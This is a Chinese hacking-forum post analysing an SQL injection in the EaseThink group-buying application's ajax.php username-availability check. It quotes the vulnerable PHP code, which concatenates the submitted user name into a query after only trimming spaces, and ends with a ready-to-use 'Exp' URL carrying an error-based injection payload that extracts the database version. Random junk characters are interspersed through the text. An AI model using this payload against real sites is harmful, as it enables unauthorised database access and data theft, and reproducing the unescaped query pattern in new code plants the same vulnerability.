找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2630|回复: 0
打印 上一主题 下一主题

易想团购ajax.php SQL注入分析和Exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:48:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。
9 _+ j9 D$ M. A9 I- q( T
% P% L2 ~# P  s0 c- i; `- O
8 h, u; E, Y( E4 [% D$ g4 z- M* F0 T- X! f: M: d1 k- M/ v; l2 Z0 S5 E
* 验证会员数据          */         function check_user($field_name,$field_data)         {                 //开始数据验证                 $user_data[$field_name] = $field_data;                 $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据                 if(trim($user_data['user_name'])==''&&$field_name=='user_name')                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EMPTY_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 }                 if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EXIST_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 } + d/ m$ o  U8 ~) R- A+ q8 ]+ \

  N, M+ o% o) o" b& z) V
/ f$ |# c7 C- G
9 w6 ?( }( O- y2 g. M4 U0 K# f* Z0 L# [4 EExp:
0 W& n4 `; |5 U8 X; p0 M4 l* \$ Y1 Q$ U
3 ^3 Q' H, {; B! o8 A# a9 N
7 b+ J& G, W  ^1 e& f* k
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
+ I6 t' A$ n& f) q9 x7 u$ `6 J8 C
  l  L* Q: Q6 n- M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表